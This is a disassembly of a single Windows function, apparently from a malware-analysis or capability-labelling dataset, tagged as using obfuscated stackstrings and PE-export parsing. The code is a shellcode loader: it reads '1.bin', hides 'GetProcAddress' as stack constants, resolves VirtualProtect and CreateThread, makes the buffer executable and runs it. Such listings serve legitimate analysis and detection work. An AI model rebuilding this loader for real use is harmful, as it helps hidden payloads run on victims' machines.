Function at 0x401240
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403cb3
mov eax, dword fs:[0]
push eax
sub esp, 0xfc
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb8
lea eax, [ebp - 0xfc]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0xfc]
call fcn.004021a0
mov dword [ebp - 4], 0
cmp dword [ebp - 0xa0], 0
jne 0x4012dc
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, 0x4042a4
push 0x402830
call fcn.00402610
mov edx, str.1.bin
mov ecx, eax
call fcn.00402610
mov edx, 0x40428c
mov ecx, eax
call fcn.00402610
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, 1
jmp 0x401569
mov eax, dword [ebp - 0xfc]
xorps xmm0, xmm0
movq qword [ebp - 0x2c], xmm0
xor edi, edi
mov dword [ebp - 0x24], 0
mov word [ebp - 0x38], 1
mov esi, dword [eax + 4]
mov ax, word [ebp - 0x3e]
mov word [ebp - 0x2e], ax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2f], 0
mov esi, dword [ebp + esi - 0xc4]
test esi, esi
mov dword [ebp - 0x2c], edi
sete cl
mov dword [ebp - 0x28], edi
mov byte [ebp - 0x30], cl
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov al, byte [ebp - 0x38]
mov bl, byte [ebp - 0x2f]
mov byte [ebp - 4], 1
mov byte [ebp - 0xfd], al
test cl, cl
je 0x40134e
mov bh, byte [ebp - 0x30]
jmp 0x401370
test esi, esi
je 0x401363
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x401363
mov bl, al
jmp 0x401365
xor esi, esi
mov al, byte [ebp - 0xfd]
mov bh, 1
nop dword [eax]
test al, al
jne 0x40138e
test edi, edi
je 0x401385
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
jne 0x401387
xor edi, edi
mov byte [ebp - 0xfd], 1
test esi, esi
jne 0x401458
test edi, edi
jne 0x401460
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 2
call fcn.00402580
test eax, eax
jne 0x4013c9
push eax
mov eax, dword [ebp - 0xfc]
lea ecx, [ebp - 0xfc]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call fcn.00401220
mov ebx, eax
mov dword [ebp - 0x20], 0x50746547
xor edx, edx
mov dword [ebp - 0x1c], 0x41636f72
xor esi, esi
mov dword [ebp - 0x18], 0x65726464
mov word [ebp - 0x14], 0x7373
mov eax, dword [ebx + 0x3c]
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x104], edx
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov ecx, dword [eax + 0x1c]
mov edi, dword [eax + 0x18]
add ecx, ebx
mov dword [ebp - 0x108], ecx
mov ecx, dword [eax + 0x24]
add ecx, ebx
mov dword [ebp - 0x30], ecx
mov ecx, dword [eax + 0x20]
add ecx, ebx
mov dword [ebp - 0x38], ecx
test edi, edi
je 0x4014dc
mov eax, dword [ecx + esi*4]
lea ecx, [ebp - 0x20]
add eax, ebx
mov dl, byte [eax]
test dl, dl
je 0x401443
cmp dl, byte [ecx]
jne 0x401443
mov dl, byte [eax + 1]
inc eax
inc ecx
test dl, dl
jne 0x401436
mov al, byte [eax]
cmp al, byte [ecx]
je 0x4014c4
mov ecx, dword [ebp - 0x38]
inc esi
cmp esi, edi
jb 0x401428
xor edx, edx
jmp 0x4014dc
test edi, edi
jne 0x40139e
test bh, bh
jne 0x40147b
test esi, esi
je 0x401479
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x401479
mov bl, al
jmp 0x40147b
xor esi, esi
mov eax, dword [ebp - 0x28]
mov byte [ebp - 0xfe], bl
cmp eax, dword [ebp - 0x24]
je 0x401490
mov byte [eax], bl
inc dword [ebp - 0x28]
jmp 0x4014a2
lea eax, [ebp - 0xfe]
push eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x2c]
call fcn.00402bd0
test esi, esi
je 0x401363
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void_]
cmp eax, 0xffffffff
je 0x401363
mov byte [ebp - 0x30], 0
jmp 0x40134e
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x108]
movzx eax, word [eax + esi*2]
mov edx, dword [edx + eax*4]
add edx, ebx
mov dword [ebp - 0x104], edx
push str.VirtualProtect
push ebx
call edx
push str.CreateThread
push ebx
mov esi, eax
call dword [ebp - 0x104]
push str.WaitForSingleObject
push ebx
mov edi, eax
call dword [ebp - 0x104]
mov ecx, dword [ebp - 0x2c]
mov ebx, eax
lea eax, [ebp - 0x40]
push eax
mov eax, dword [ebp - 0x28]
push 0x40
sub eax, ecx
push eax
push ecx
call esi
push 0
push 0
push 0
push dword [ebp - 0x2c]
push 0
push 0
call edi
push 0xffffffffffffffff
push eax
call ebx
mov edx, dword [ebp - 0x2c]
xor esi, esi
test edx, edx
je 0x401569
mov ecx, dword [ebp - 0x24]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x401556
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401556
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402e2c
add esp, 8
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
lea ecx, [ebp - 0xfc]
call fcn.004015a0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402dee
mov esp, ebp
pop ebp
ret